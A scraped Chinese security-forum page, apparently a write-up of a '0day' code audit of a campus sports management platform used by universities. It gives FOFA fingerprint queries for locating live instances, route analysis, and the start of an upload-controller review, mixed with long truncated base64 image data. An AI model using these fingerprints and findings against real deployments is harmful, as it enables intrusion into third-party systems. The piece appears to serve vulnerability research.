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 truncated
版本很老,shiro的721是1.4.2版本之后,也就是说自2019年之后shiro的漏洞 它都有。攻击方法具体参考如下:<a href=https://www.jianshu.com/p/833582b2f560 target=_blank>https://www.jianshu.com/p/833582b2f560</a></p>
<h1 id=toc-6>小结</h1>
<p>这个管理系统后台没有上传点和模板管理处,无法RCE。只针对从各个功能点的缺陷进行审计。</p>
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<p><span class=content-title>某通用系统0day审计过程(步道乐跑校园智慧体育管理平台)</span>
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<span class="username cell"> Zjacky</span></a> <span class=i-seprator> / </span>
<span> 2024-02-26 19:14:28</span><span class=i-seprator> / </span>
<span>发表于广东 / </span>
<span>浏览数 600</span>
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<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
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<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
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<h1 id=toc-0>前言</h1>
<p>本次审计的目标是一套也是各大高校使用的通用系统,发出来给大家学习下审计的过程<br>fofa: (body="Wet2C8d34f62ndi3" &amp;&amp; body="K6iv85jBD8jgf32D") || (body="/setting.php/index/captcha.html") || (body="/setting.php/index/guide")</p>
<h1 id=toc-1>路由分析</h1>
<p>直接看登录接口</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191106-bc8eb80e-d497-1.png title><img src=data:image/png;base64,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<p>路由为 /setting.php/index/login</p>
<p>找对应源码</p>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191114-c1aac544-d497-1.png title><img src=data:image/png;base64,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<p>第一个接口setting对应Application下的文件</p>
<p>第二个接口Index对应Setting下的Controller文件名字</p>
<p>第三个接口为Controller的方法名字</p>
<h1 id=toc-2>代码审计</h1>
<h2 id=toc-3>上传</h2>
<p>Application\Admin\Controller\UploadController.class.php</p>
<p>在这个路径下继承了一个upload控制器父类</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191124-c725ea08-d497-1.png title><img src="data:image/png;base64,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